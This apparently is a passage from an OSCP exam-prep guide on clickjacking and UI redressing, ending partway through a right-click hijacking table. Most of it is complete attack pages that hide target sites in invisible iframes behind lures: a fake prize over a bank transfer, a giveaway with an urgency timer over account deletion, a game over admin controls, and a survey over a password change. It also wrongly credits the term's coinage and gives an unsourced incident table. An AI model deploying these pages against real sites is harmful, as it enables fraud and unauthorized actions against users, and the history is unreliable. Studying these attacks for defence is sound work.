Domain 3Exploit Dev & AV EvasionCORE

Clickjacking and UI Redressing

Comprehensive guide to clickjacking and UI redressing attacks including invisible iframe overlay, multi-step clickjacking, right-click hijacking, and mitigation strategies for OSCP exam preparation.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#Clickjacking#UI-Redressing#iframe#X-Frame-Options#CSP

Clickjacking and UI Redressing

Table of Contents

  1. Fundamentals
  2. Attack Flow and Diagram
  3. Complete Clickjacking Payload
  4. Multi-Step Clickjacking
  5. Right-Click Hijacking
  6. Advanced Techniques
  7. Mitigation Strategies
  8. Detection Methodology
  9. OSCP-Specific Tips
  10. Practice Scenarios
  11. Summary Cheat Sheet

1. Fundamentals

What is Clickjacking?

Clickjacking (also known as a UI Redress Attack) is a malicious technique where an attacker tricks a user into clicking on something different from what the user perceives they are clicking. The term was coined by Yaniv Balmas and Uri Eliasi in 2008.

The attack works by:

  1. Embedding a target website inside a transparent or invisible iframe on the attacker’s page
  2. Overlaying decoy UI elements (buttons, images, text) on top of the iframe
  3. Convincing the user to interact with the decoy elements
  4. The user’s clicks actually land on the hidden target page within the iframe

Why Does It Work?

Clickjacking exploits a fundamental property of web browsers:

A click event is processed by the element at the click’s coordinates in the DOM stack, regardless of which visual layer the user perceives they clicked.

Key principles:

  • Visual deception: The user sees one thing but clicks another
  • No cross-origin restriction on clicks: Browsers allow clicks to propagate through iframe boundaries
  • User trust exploitation: Users trust what they see on screen
  • No user consent required: The attack happens without any explicit permission

UI Redressing Concept

UI Redressing is the broader category that encompasses clickjacking. It refers to any technique that manipulates or overlays user interface elements to deceive users. Types include:

Type Description
Clickjacking Invisible iframe captures clicks intended for decoy
Cursorjacking Manipulates cursor position to mislead clicks
Tabnabbing Replaces tab content when user switches away
Right-click hijacking Overlays iframe to capture right-click context menu actions
Drag-and-drop hijacking Intercepts drag-and-drop operations

How Transparent Iframes Enable the Attack

The core mechanism relies on CSS properties that make an iframe invisible while remaining fully interactive:

/* Key CSS properties for invisible iframe */
iframe {
    opacity: 0;              /* Makes content invisible */
    /* OR */
    visibility: visible;     /* Must be visible to receive clicks! */
    /* NOT */
    /* visibility: hidden;   /* This would block clicks */
    
    position: absolute;      /* For precise positioning */
    z-index: 1;              /* Behind decoy layer */
    width: 100%;
    height: 100%;
    border: none;            /* Remove iframe border */
}

Critical distinction:

  • opacity: 0 — Element is invisible but still receives mouse events
  • visibility: hidden — Element is invisible and does NOT receive mouse events
  • display: none — Element is removed from rendering and does NOT receive mouse events

History and Real-World Impact

Year Incident Impact
2008 YouTube “Like” hijack Users unknowingly liked attacker’s videos
2010 Twitter follow hijack Mass following of attacker accounts
2011 Facebook likejacking Widespread unauthorized likes and shares
2012 Gmail compose hijack Users sent emails without knowing
2014 Bank transfer clickjacking Unauthorized fund transfers
2016 Instagram follow attack Automated follower manipulation
2018 Two-factor auth bypass Clickjacking used to bypass 2FA prompts
2020 Crypto wallet approval Unauthorized transaction approvals

Business impact:

  • Unauthorized actions performed on behalf of victims
  • Reputation damage for affected platforms
  • Financial losses in banking and e-commerce scenarios
  • Data exfiltration through manipulated user actions

2. Attack Flow and Diagram

Step-by-Step Attack Flow

┌─────────────────────────────────────────────────────────────────┐
│                    ATTACK FLOW OVERVIEW                         │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  Phase 1: Preparation                                          │
│  ┌──────────────┐                                              │
│  │ Attacker     │  Creates malicious page with:                │
│  │ constructs   │  • Invisible iframe (target site)            │
│  │ malicious    │  • Decoy UI elements                        │
│  │ page         │  • CSS positioning/opacity                   │
│  └──────┬───────┘                                              │
│         │                                                      │
│         ▼                                                      │
│  Phase 2: Distribution                                        │
│  ┌──────────────┐                                              │
│  │ Attacker     │  Delivers link via:                         │
│  │ distributes  │  • Email phishing                           │
│  │ the link     │  • Social media                             │
│  │              │  • Compromised website                      │
│  └──────┬───────┘                                              │
│         │                                                      │
│         ▼                                                      │
│  Phase 3: Execution                                           │
│  ┌──────────────┐                                              │
│  │ Victim       │  User visits malicious page                 │
│  │ visits page  │  Sees decoy UI only                         │
│  └──────┬───────┘                                              │
│         │                                                      │
│         ▼                                                      │
│  Phase 4: Deception                                           │
│  ┌──────────────┐                                              │
│  │ Victim sees  │  "Click here to claim prize!"               │
│  │ decoy UI     │  "Update your settings"                     │
│  │              │  "Play this game"                           │
│  └──────┬───────┘                                              │
│         │                                                      │
│         ▼                                                      │
│  Phase 5: Exploitation                                        │
│  ┌──────────────┐                                              │
│  │ Victim clicks│  Click lands on invisible iframe            │
│  │ decoy button │  Target site receives the click             │
│  └──────┬───────┘                                              │
│         │                                                      │
│         ▼                                                      │
│  Phase 6: Impact                                              │
│  ┌──────────────┐                                              │
│  │ Unauthorized │  • Settings changed                         │
│  │ action       │  • Money transferred                        │
│  │ performed    │  • Data deleted                             │
│  │              │  • Follow/Like created                      │
│  └──────────────┘                                              │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

Visual Layer Diagram

┌────────────────────────────────────────────────┐
│              WHAT THE USER SEES                │
│  (Decoy Layer - Attacker's Page)               │
│                                                │
│                                                │
│           ┌─────────────────┐                  │
│           │  CLICK ME!      │  ← User sees     │
│           │  Win $1000!     │     this button  │
│           └─────────────────┘                  │
│                                                │
│                                                │
├────────────────────────────────────────────────┤
│         WHAT'S ACTUALLY THERE (Hidden)         │
│  (Target Site in Transparent iframe)           │
│                                                │
│                                                │
│           ┌─────────────────┐                  │
│           │  [Delete All]   │  ← Click actually│
│           │                 │     lands here   │
│           └─────────────────┘                  │
│                                                │
│                                                │
└────────────────────────────────────────────────┘

Z-Index Stack (bottom to top):
┌─────────────────────────────────────┐
│ Z-Index: 0  →  Target iframe       │  (opacity: 0)
│ Z-Index: 1  →  Decoy content       │  (visible)
└─────────────────────────────────────┘

Detailed Technical Flow

User Browser Session
═══════════════════════════════════════════════════════

1. User navigates to: https://attacker.com/malicious-page

2. Browser loads attacker's HTML:
   ┌──────────────────────────────────────────┐
   │ <html>                                      │
   │   <head>                                    │
   │     <style>                                 │
   │       #target-frame {                       │
   │         position: absolute;                 │
   │         top: 0; left: 0;                    │
   │         width: 100%; height: 100%;          │
   │         opacity: 0;                         │
   │         z-index: 1;                         │
   │       }                                     │
   │       #decoy {                              │
   │         position: absolute;                 │
   │         top: 200px; left: 300px;            │
   │         z-index: 2;                         │
   │       }                                     │
   │     </style>                                │
   │   </head>                                   │
   │   <body>                                    │
   │     <iframe id="target-frame"              │
   │       src="https://victim-bank.com/transfer">│
   │     </iframe>                               │
   │     <div id="decoy">                        │
   │       <button>Claim Your Prize!</button>    │
   │     </div>                                  │
   │   </body>                                   │
   │ </html>                                     │
   └──────────────────────────────────────────┘

3. Browser renders two layers:
   Layer 1 (z-index: 1): iframe → https://victim-bank.com/transfer
                          [User is already logged in → session active]
                          [Transfer form with "Confirm" button at 300,200]
   
   Layer 2 (z-index: 2): Decoy div with "Claim Your Prize!" button
                          [Positioned at same 300,200 coordinates]

4. User clicks "Claim Your Prize!" at coordinates (350, 210)

5. Browser processes click:
   → Click event fires at (350, 210)
   → Element at those coordinates in iframe receives click
   → Bank's "Confirm Transfer" button is clicked
   → Transfer is executed

6. User thinks they clicked a prize claim
   Bank processes the transfer unknowingly initiated

3. Complete Clickjacking Payload

Basic Clickjacking Payload

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Exclusive Offer - Claim Your Reward!</title>
    <style>
        /* Reset and base styles */
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
        }

        /* 
         * THE KEY: Invisible iframe
         * opacity: 0 makes it invisible but clickable
         * position: absolute allows precise overlay
         * z-index: 1 places it behind decoy
         */
        #clickjack-frame {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0;
            z-index: 1;
            border: none;
            pointer-events: auto; /* Critical: must accept clicks */
        }

        /* Decoy container - sits above the iframe */
        .decoy-container {
            position: relative;
            z-index: 2;
            text-align: center;
            background: white;
            padding: 40px 60px;
            border-radius: 20px;
            box-shadow: 0 20px 60px rgba(0, 0, 0, 0.3);
        }

        .decoy-container h1 {
            color: #333;
            margin-bottom: 10px;
            font-size: 2.5em;
        }

        .decoy-container p {
            color: #666;
            margin-bottom: 30px;
            font-size: 1.2em;
        }

        /* 
         * The decoy button
         * Positioned to align with the target button in the iframe
         */
        .decoy-button {
            background: linear-gradient(45deg, #f093fb 0%, #f5576c 100%);
            color: white;
            border: none;
            padding: 18px 50px;
            font-size: 1.4em;
            font-weight: bold;
            border-radius: 50px;
            cursor: pointer;
            box-shadow: 0 8px 25px rgba(245, 87, 108, 0.4);
            transition: all 0.3s ease;
            text-transform: uppercase;
            letter-spacing: 2px;
        }

        .decoy-button:hover {
            transform: translateY(-3px);
            box-shadow: 0 12px 35px rgba(245, 87, 108, 0.6);
        }

        .decoy-button:active {
            transform: translateY(1px);
        }

        .reward-icon {
            font-size: 4em;
            margin-bottom: 20px;
        }

        .fine-print {
            margin-top: 20px;
            color: #999;
            font-size: 0.8em;
        }
    </style>
</head>
<body>
    <!-- 
     * TARGET IFRAME
     * This loads the victim's application
     * The user is already authenticated with the target site
     * Their session cookie is sent with this request
     -->
    <iframe 
        id="clickjack-frame" 
        src="https://target-application.com/settings"
        title="target">
    </iframe>

    <!-- 
     * DECOY CONTENT
     * This is what the user sees and interacts with
     * The button is positioned to align with a sensitive action
     * in the hidden iframe
     -->
    <div class="decoy-container">
        <div class="reward-icon">🎁</div>
        <h1>Congratulations!</h1>
        <p>You've been selected to receive an exclusive reward!</p>
        <button class="decoy-button">Claim Your Reward Now!</button>
        <p class="fine-print">Click the button above to claim your reward. Limited time offer!</p>
    </div>

    <script>
        // Optional: Adjust iframe position dynamically
        // This helps align the target button with the decoy
        window.addEventListener('load', function() {
            const iframe = document.getElementById('clickjack-frame');
            
            // You may need to adjust these values based on the target page layout
            // These values position the target button under the decoy button
            iframe.style.marginTop = '0px';
            iframe.style.marginLeft = '0px';
            
            console.log('Clickjacking payload loaded');
        });
    </script>
</body>
</html>

Targeted Action Example: Deleting an Account

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Free Gift Card Giveaway!</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            font-family: Arial, sans-serif;
            background: #f0f2f5;
        }

        /* 
         * Invisible iframe covering the entire viewport
         * The target site's "Delete Account" button should be
         * positioned where our decoy button appears
         */
        #victim-frame {
            position: fixed;
            top: 0;
            left: 0;
            width: 100vw;
            height: 100vh;
            opacity: 0;
            z-index: 1;
            border: none;
        }

        /* Decoy layer */
        .decoy-layer {
            position: relative;
            z-index: 2;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
        }

        .giveaway-card {
            background: white;
            border-radius: 15px;
            padding: 50px;
            box-shadow: 0 10px 40px rgba(0,0,0,0.1);
            text-align: center;
            max-width: 500px;
        }

        .giveaway-card h2 {
            color: #e74c3c;
            font-size: 2em;
            margin-bottom: 15px;
        }

        .giveaway-card .prize {
            font-size: 5em;
            margin: 20px 0;
        }

        .claim-btn {
            background: #27ae60;
            color: white;
            border: none;
            padding: 20px 60px;
            font-size: 1.5em;
            border-radius: 10px;
            cursor: pointer;
            font-weight: bold;
            margin-top: 20px;
            box-shadow: 0 5px 15px rgba(39, 174, 96, 0.3);
        }

        .claim-btn:hover {
            background: #219a52;
        }

        .timer {
            color: #e74c3c;
            font-weight: bold;
            margin-top: 15px;
        }
    </style>
</head>
<body>
    <!-- 
     * The target is a social media profile settings page
     * where "Delete Account" button exists at a known position
     -->
    <iframe 
        id="victim-frame" 
        src="https://socialmedia.com/account/settings"
    ></iframe>

    <div class="decoy-layer">
        <div class="giveaway-card">
            <h2>🎉 You Won! 🎉</h2>
            <div class="prize">🎁</div>
            <p style="font-size: 1.3em; color: #333;">
                Congratulations! You've won a <strong>$500 Gift Card!</strong>
            </p>
            <p style="color: #666; margin: 15px 0;">
                Click below to claim your prize before time runs out!
            </p>
            <button class="claim-btn">CLAIM NOW!</button>
            <div class="timer" id="timer">
                Offer expires in: 04:59
            </div>
        </div>
    </div>

    <script>
        // Countdown timer to create urgency
        let timeLeft = 299; // 4:59
        const timerEl = document.getElementById('timer');
        
        setInterval(() => {
            const minutes = Math.floor(timeLeft / 60);
            const seconds = timeLeft % 60;
            timerEl.textContent = `Offer expires in: ${minutes.toString().padStart(2, '0')}:${seconds.toString().padStart(2, '0')}`;
            if (timeLeft > 0) timeLeft--;
        }, 1000);
    </script>
</body>
</html>

CSS Positioning and Alignment Techniques

/* 
 * Technique 1: Exact pixel positioning
 * Use when you know the exact coordinates of the target element
 */
iframe {
    position: absolute;
    top: -500px;    /* Shift iframe up to align target button */
    left: -200px;   /* Shift iframe left to align target button */
    opacity: 0;
    z-index: 1;
}

/* 
 * Technique 2: Scale transformation
 * Useful when the target page has different dimensions
 */
iframe {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    opacity: 0;
    z-index: 1;
    transform: scale(0.8);        /* Scale the iframe content */
    transform-origin: top left;   /* Scale from top-left corner */
}

/* 
 * Technique 3: Overflow hidden container
 * Show only a portion of the target page
 */
.iframe-container {
    position: absolute;
    top: 200px;
    left: 300px;
    width: 200px;
    height: 50px;
    overflow: hidden;
    z-index: 1;
}

.iframe-container iframe {
    position: absolute;
    top: -300px;   /* Offset to show only the button area */
    left: -100px;
    width: 2000px;
    height: 2000px;
    opacity: 1;    /* Can be visible or invisible */
    border: none;
}

/* 
 * Technique 4: Multiple iframes for complex layouts
 */
#frame-settings {
    position: absolute;
    top: 0;
    left: 0;
    opacity: 0;
    z-index: 1;
}

#frame-confirm {
    position: absolute;
    top: 0;
    left: 0;
    opacity: 0;
    z-index: 1;
    display: none; /* Shown after first click */
}

Debugging Helper: Visible Alignment Tool

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Clickjacking Alignment Debugger</title>
    <style>
        body {
            margin: 0;
            font-family: monospace;
        }

        .controls {
            position: fixed;
            top: 0;
            left: 0;
            right: 0;
            background: #333;
            color: white;
            padding: 10px;
            z-index: 1000;
            display: flex;
            gap: 15px;
            align-items: center;
            flex-wrap: wrap;
        }

        .controls label {
            display: flex;
            align-items: center;
            gap: 5px;
        }

        .controls input {
            width: 80px;
            padding: 5px;
        }

        .controls button {
            padding: 8px 15px;
            background: #4CAF50;
            color: white;
            border: none;
            cursor: pointer;
            border-radius: 3px;
        }

        .controls button.danger {
            background: #f44336;
        }

        #target-frame {
            position: absolute;
            border: 3px solid red;
            z-index: 1;
        }

        .decoy-marker {
            position: absolute;
            border: 3px dashed yellow;
            background: rgba(255, 255, 0, 0.2);
            z-index: 2;
            display: flex;
            align-items: center;
            justify-content: center;
            color: yellow;
            font-weight: bold;
            font-size: 12px;
            pointer-events: none;
        }

        .click-indicator {
            position: fixed;
            width: 30px;
            height: 30px;
            border: 2px solid lime;
            border-radius: 50%;
            pointer-events: none;
            z-index: 999;
            transform: translate(-50%, -50%);
            display: none;
        }
    </style>
</head>
<body>
    <div class="controls">
        <label>Frame Top: <input type="number" id="frameTop" value="0"></label>
        <label>Frame Left: <input type="number" id="frameLeft" value="0"></label>
        <label>Frame Width: <input type="number" id="frameWidth" value="1000"></label>
        <label>Frame Height: <input type="number" id="frameHeight" value="800"></label>
        <label>Opacity: <input type="range" id="frameOpacity" min="0" max="1" step="0.1" value="0.3"></label>
        <label>
            <input type="checkbox" id="showMarker" checked>
            Show Decoy Marker
        </label>
        <button onclick="applySettings()">Apply</button>
        <button class="danger" onclick="goInvisible()">Go Invisible</button>
        <span id="coords">Click coords: --</span>
    </div>

    <iframe 
        id="target-frame" 
        src="https://target-app.com/sensitive-page"
        width="1000"
        height="800"
    ></iframe>

    <div class="decoy-marker" id="decoyMarker" style="top: 400px; left: 450px; width: 120px; height: 45px;">
        DECOY BUTTON
    </div>

    <div class="click-indicator" id="clickIndicator"></div>

    <script>
        const frame = document.getElementById('target-frame');
        const marker = document.getElementById('decoyMarker');
        const indicator = document.getElementById('clickIndicator');
        const coordsDisplay = document.getElementById('coords');

        function applySettings() {
            frame.style.top = document.getElementById('frameTop').value + 'px';
            frame.style.left = document.getElementById('frameLeft').value + 'px';
            frame.style.width = document.getElementById('frameWidth').value + 'px';
            frame.style.height = document.getElementById('frameHeight').value + 'px';
            frame.style.opacity = document.getElementById('frameOpacity').value;
            
            const showMarker = document.getElementById('showMarker').checked;
            marker.style.display = showMarker ? 'flex' : 'none';
        }

        function goInvisible() {
            frame.style.opacity = '0';
            frame.style.border = 'none';
            marker.style.display = 'none';
            document.querySelector('.controls').style.display = 'none';
        }

        // Track mouse clicks for debugging
        document.addEventListener('click', function(e) {
            indicator.style.left = e.clientX + 'px';
            indicator.style.top = e.clientY + 'px';
            indicator.style.display = 'block';
            coordsDisplay.textContent = `Click coords: (${e.clientX}, ${e.clientY})`;
            
            setTimeout(() => {
                indicator.style.display = 'none';
            }, 1000);
        });

        // Live update opacity
        document.getElementById('frameOpacity').addEventListener('input', applySettings);
    </script>
</body>
</html>

4. Multi-Step Clickjacking

Overview

Multi-step clickjacking requires the victim to perform multiple clicks at specific positions to complete an attack chain. This is necessary when:

  1. The target action requires confirmation (e.g., “Delete” → “Confirm Delete”)
  2. Multiple settings need to be changed
  3. A form needs to be filled and submitted
  4. Navigation through multiple pages is required

Technique 1: Sequential Button Alignment

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Multi-Step Clickjacking Example</title>
    <style>
        body {
            margin: 0;
            font-family: Arial, sans-serif;
            background: #1a1a2e;
            color: white;
        }

        /* Hidden iframe for step 1 */
        #frame-step1 {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0;
            z-index: 1;
        }

        /* Hidden iframe for step 2 - initially hidden */
        #frame-step2 {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0;
            z-index: 1;
            display: none;
        }

        .decoy-container {
            position: relative;
            z-index: 2;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
        }

        .step {
            display: none;
            text-align: center;
        }

        .step.active {
            display: block;
        }

        .step h2 {
            font-size: 2em;
            margin-bottom: 20px;
        }

        .action-btn {
            background: #e94560;
            color: white;
            border: none;
            padding: 20px 50px;
            font-size: 1.3em;
            border-radius: 10px;
            cursor: pointer;
            margin: 10px;
        }

        .progress-bar {
            width: 300px;
            height: 10px;
            background: #333;
            border-radius: 5px;
            margin: 20px 0;
            overflow: hidden;
        }

        .progress-fill {
            height: 100%;
            background: #e94560;
            width: 0%;
            transition: width 0.5s ease;
        }
    </style>
</head>
<body>
    <!-- Step 1: Navigate to settings page -->
    <iframe id="frame-step1" src="https://target.com/settings"></iframe>
    
    <!-- Step 2: Confirmation dialog page -->
    <iframe id="frame-step2" src="https://target.com/settings/confirm-delete"></iframe>

    <div class="decoy-container">
        <!-- Progress indicator -->
        <div class="progress-bar">
            <div class="progress-fill" id="progress"></div>
        </div>

        <!-- Step 1 Decoy -->
        <div class="step active" id="step1">
            <h2>🎮 Step 1: Accept Game Invite</h2>
            <p>Click below to accept your friend's game invitation</p>
            <button class="action-btn" onclick="completeStep1()">Accept Invite</button>
        </div>

        <!-- Step 2 Decoy -->
        <div class="step" id="step2">
            <h2>✅ Step 2: Confirm Participation</h2>
            <p>One more click to confirm and join the game!</p>
            <button class="action-btn" onclick="completeStep2()">Confirm & Play</button>
        </div>

        <!-- Success message -->
        <div class="step" id="step3">
            <h2>🎉 You're In!</h2>
            <p>Game starting soon...</p>
        </div>
    </div>

    <script>
        let currentStep = 1;

        function completeStep1() {
            // User clicked "Accept Invite"
            // In reality, they clicked "Delete Account" in the hidden iframe
            
            // Show progress
            document.getElementById('progress').style.width = '50%';
            
            // Switch to step 2
            document.getElementById('step1').classList.remove('active');
            document.getElementById('step2').classList.add('active');
            
            // Switch iframe to confirmation page
            document.getElementById('frame-step1').style.display = 'none';
            document.getElementById('frame-step2').style.display = 'block';
            
            currentStep = 2;
        }

        function completeStep2() {
            // User clicked "Confirm & Play"
            // In reality, they clicked "Confirm Delete" in the hidden iframe
            
            // Show progress
            document.getElementById('progress').style.width = '100%';
            
            // Show success
            document.getElementById('step2').classList.remove('active');
            document.getElementById('step3').classList.add('active');
            
            currentStep = 3;
        }
    </script>
</body>
</html>

Technique 2: Progressive Disclosure with Mouse Tracking

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Advanced Multi-Step Clickjacking</title>
    <style>
        body {
            margin: 0;
            font-family: Arial, sans-serif;
            overflow: hidden;
        }

        #target-frame {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0;
            z-index: 1;
        }

        .game-container {
            position: relative;
            z-index: 2;
            width: 100vw;
            height: 100vh;
            background: linear-gradient(45deg, #0f0c29, #302b63, #24243e);
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
        }

        .game-title {
            color: #00d4ff;
            font-size: 2.5em;
            margin-bottom: 30px;
            text-shadow: 0 0 20px rgba(0, 212, 255, 0.5);
        }

        .click-target {
            position: absolute;
            width: 80px;
            height: 80px;
            background: radial-gradient(circle, #ff6b6b, #ee5a24);
            border-radius: 50%;
            cursor: pointer;
            display: flex;
            align-items: center;
            justify-content: center;
            color: white;
            font-weight: bold;
            font-size: 0.8em;
            box-shadow: 0 0 30px rgba(255, 107, 107, 0.6);
            transition: transform 0.1s;
        }

        .click-target:active {
            transform: scale(0.9);
        }

        .score-display {
            color: white;
            font-size: 1.5em;
            margin-bottom: 20px;
        }

        .instructions {
            color: #aaa;
            margin-bottom: 20px;
        }

        /* 
         * Critical: The decoy elements are positioned to match
         * the exact locations of target buttons in the iframe
         */
        #target1 { top: 300px; left: 400px; }
        #target2 { top: 500px; left: 600px; }
        #target3 { top: 350px; left: 250px; }
    </style>
</head>
<body>
    <iframe id="target-frame" src="https://target.com/admin-panel"></iframe>

    <div class="game-container">
        <div class="game-title">🎯 Click the Targets!</div>
        <div class="score-display">Score: <span id="score">0</span>/3</div>
        <div class="instructions">Click all red targets to win the prize!</div>

        <!-- 
         * Each target is positioned where a sensitive button
         * exists in the hidden iframe
         * Target 1: "Enable Debug Mode"
         * Target 2: "Export Database"
         * Target 3: "Disable Security"
         -->
        <div class="click-target" id="target1" onclick="hitTarget(1)">
            CLICK ME
        </div>
        <div class="click-target" id="target2" onclick="hitTarget(2)">
            CLICK ME
        </div>
        <div class="click-target" id="target3" onclick="hitTarget(3)">
            CLICK ME
        </div>
    </div>

    <script>
        let score = 0;
        const totalTargets = 3;

        function hitTarget(num) {
            const target = document.getElementById('target' + num);
            target.style.background = 'radial-gradient(circle, #2ecc71, #27ae60)';
            target.textContent = '✓';
            target.style.pointerEvents = 'none';
            
            score++;
            document.getElementById('score').textContent = score;

            if (score === totalTargets) {
                setTimeout(() => {
                    alert('🎉 Congratulations! You won! Check your email for the prize code.');
                }, 500);
            }
        }
    </script>
</body>
</html>

Technique 3: Form Filling via Clickjacking

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Form-Based Clickjacking</title>
    <style>
        body {
            margin: 0;
            font-family: Arial, sans-serif;
        }

        #target-frame {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0;
            z-index: 1;
        }

        .survey-container {
            position: relative;
            z-index: 2;
            max-width: 600px;
            margin: 50px auto;
            background: white;
            padding: 40px;
            border-radius: 15px;
            box-shadow: 0 10px 40px rgba(0,0,0,0.1);
        }

        .survey-container h2 {
            color: #333;
            margin-bottom: 20px;
        }

        .survey-question {
            margin: 20px 0;
            padding: 15px;
            background: #f8f9fa;
            border-radius: 8px;
        }

        .survey-question label {
            display: block;
            margin: 8px 0;
            cursor: pointer;
            padding: 10px;
            border-radius: 5px;
            transition: background 0.2s;
        }

        .survey-question label:hover {
            background: #e9ecef;
        }

        .submit-btn {
            background: #007bff;
            color: white;
            border: none;
            padding: 15px 40px;
            font-size: 1.1em;
            border-radius: 8px;
            cursor: pointer;
            width: 100%;
            margin-top: 20px;
        }

        /* 
         * Each radio button in the survey is positioned
         * over a specific form field or button in the target iframe
         */
        #q1-opt1 { /* Aligns with "New Password" field */ }
        #q1-opt2 { /* Aligns with "Confirm Password" field */ }
        #submit-survey { /* Aligns with "Save Changes" button */ }
    </style>
</head>
<body>
    <iframe id="target-frame" src="https://target.com/change-password"></iframe>

    <div class="survey-container">
        <h2>📋 Quick Customer Survey</h2>
        <p>Help us improve! Takes only 30 seconds.</p>

        <div class="survey-question">
            <strong>1. How satisfied are you with our service?</strong>
            <label>
                <input type="radio" name="q1" id="q1-opt1"> 
                Very Satisfied
            </label>
            <label>
                <input type="radio" name="q1" id="q1-opt2"> 
                Satisfied
            </label>
        </div>

        <div class="survey-question">
            <strong>2. Would you recommend us?</strong>
            <label>
                <input type="radio" name="q2" id="q2-opt1"> 
                Yes, definitely!
            </label>
            <label>
                <input type="radio" name="q2" id="q2-opt2"> 
                Maybe
            </label>
        </div>

        <button class="submit-btn" id="submit-survey">Submit Survey</button>
    </div>
</body>
</html>

5. Right-Click Hijacking

Overview

Right-click hijacking is a variant of clickjacking that targets the context menu that appears when a user right-clicks. The attacker can:

  1. Make the user right-click on a hidden element to trigger a context menu action
  2. Overlay content to make the user think they’re right-clicking on something else
  3. Capture “Save As”, “Copy Link”, or other context menu actions

How It Works

User Perception:                    Reality:
┌─────────────────────┐            ┌─────────────────────┐
│                     │            │                     │
│   [Image visible]   │            │   [Hidden iframe]   │
│                     │            │   with sensitive    │
│   User right-clicks │            │   content at same   │
│   on the image      │            │   position          │
│                     │            │                     │
│   Sees image        │            │   Context menu for  │
│   context menu      │            │   hidden element    │
│                     │            │                     │
└─────────────────────┘            └─────────────────────┘

Working Code Example

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Right-Click Hijacking Demo</title>
    <style>
        body {
            margin: 0;
            font-family: Arial, sans-serif;
            background: #f5f5f5;
        }

        /* 
         * Hidden iframe containing a link or element
         * that we want the user to interact with via right-click
         */
        #rightclick-frame {
            position: absolute;
            top: 200px;
            left: 300px;
            width: 200px;
            height: 100px;
            opacity: 0;
            z-index: 1;
            border: none;
        }

        .visible-content {
            position: relative;
            z-index: 2;
            text-align: center;
            padding-top: 150px;
        }

        .image-container {
            display: inline-block;
            position: relative;
        }

        .image-container img {
            width: 400px;
            height: 300px;
            object-fit: cover;
            border-radius: 10px;
            box-shadow: 0 5px 20px rgba(0,0,0,0.2);
        }

        .hint-text {
            margin-top: 15px;
            color: #666;
            font-style: italic;
        }

        .instruction-box {
            background: #fff3cd;
            border: 1px solid #ffc107;
            color: #856404;
            padding: 15px;
            border-radius: 8px;
            margin: 20px auto;
            max-width: 500px;
        }
    </style>
</head>
<body>
    <!-- 
     * The iframe contains a page with a sensitive link
     * When user right-clicks, they get the context menu
     * for the hidden link, not the visible image
     -->
    <iframe 
        id="rightclick-frame" 
        src="https://target.com/sensitive-download-page"
    ></iframe>

    <div class="visible-content">
        <div class="instruction-box">
            <strong>💡 Tip:</strong> Right-click on the image below and select 
            "Save Image As..." to download the high-resolution version!
        </div>

        <div class="image-container">
            <img src="placeholder-image.jpg" alt="Beautiful Landscape">
            <p class="hint-text">Right-click to save this image</p>
        </div>
    </div>

    <script>
        // Optional: Prevent default context menu on visible elements
        // to force interaction with the hidden iframe
        document.querySelector('.image-container').addEventListener('contextmenu', 
            function(e) {
                // Don't prevent default - let the iframe's context menu show
                // The iframe is positioned over this area with opacity: 0
                console.log('Right-click detected at:', e.clientX, e.clientY);
            }
        );
    </script>
</body>
</html>

Advanced Right-Click: Context Menu Redirection

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Advanced Right-Click Hijacking</title>
    <style>
        body {
            margin: 0;
            font-family: Arial, sans-serif;
        }

        /* 
         * Frame positioned to capture right-click on a specific element
         * The target page has a "Download Report" link at known position
         */
        #capture-frame {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0;
            z-index: 1;
        }

        .content-layer {
            position: relative;
            z-index: 2;
            padding: 40px;
        }

        .download-section {
            background: white;
            padding: 30px;
            border-radius: 10px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
            max-width: 600px;
            margin: 50px auto;
        }

        .fake-link {
            display: inline-block;
            color: #007bff;
            text-decoration: underline;
            cursor: pointer;
            padding: 10px 20px;
            background: #f0f8ff;
            border-radius: 5px;
            margin: 10px;
        }

        .fake-link:hover {
            background: #e0f0ff;
        }
    </style>
</head>
<body>
    <!-- 
     * Target page contains sensitive documents
     * User's right-click will trigger context menu on hidden links
     -->
    <iframe id="capture-frame" src="https://target.com/documents"></iframe>

    <div class="content-layer">
        <div class="download-section">
            <h2>📄 Available Resources</h2>
            <p>Right-click on any resource below to save it:</p>
            
            <!-- 
             * These fake links are positioned over real links
             * in the hidden iframe
             * When user right-clicks and selects "Save Link As",
             * they save the hidden iframe's link instead
             -->
            <div class="fake-link">📊 Annual Report 2024</div>
            <div class="fake-link">📋 Financial Summary</div>
            <div class="fake-link">📈 Market Analysis</div>
        </div>
    </div>
</body>
</html>

Right-Click Hijacking Variations

Variation Description Use Case
Save As Hijack User saves hidden file instead of visible one Download malicious file
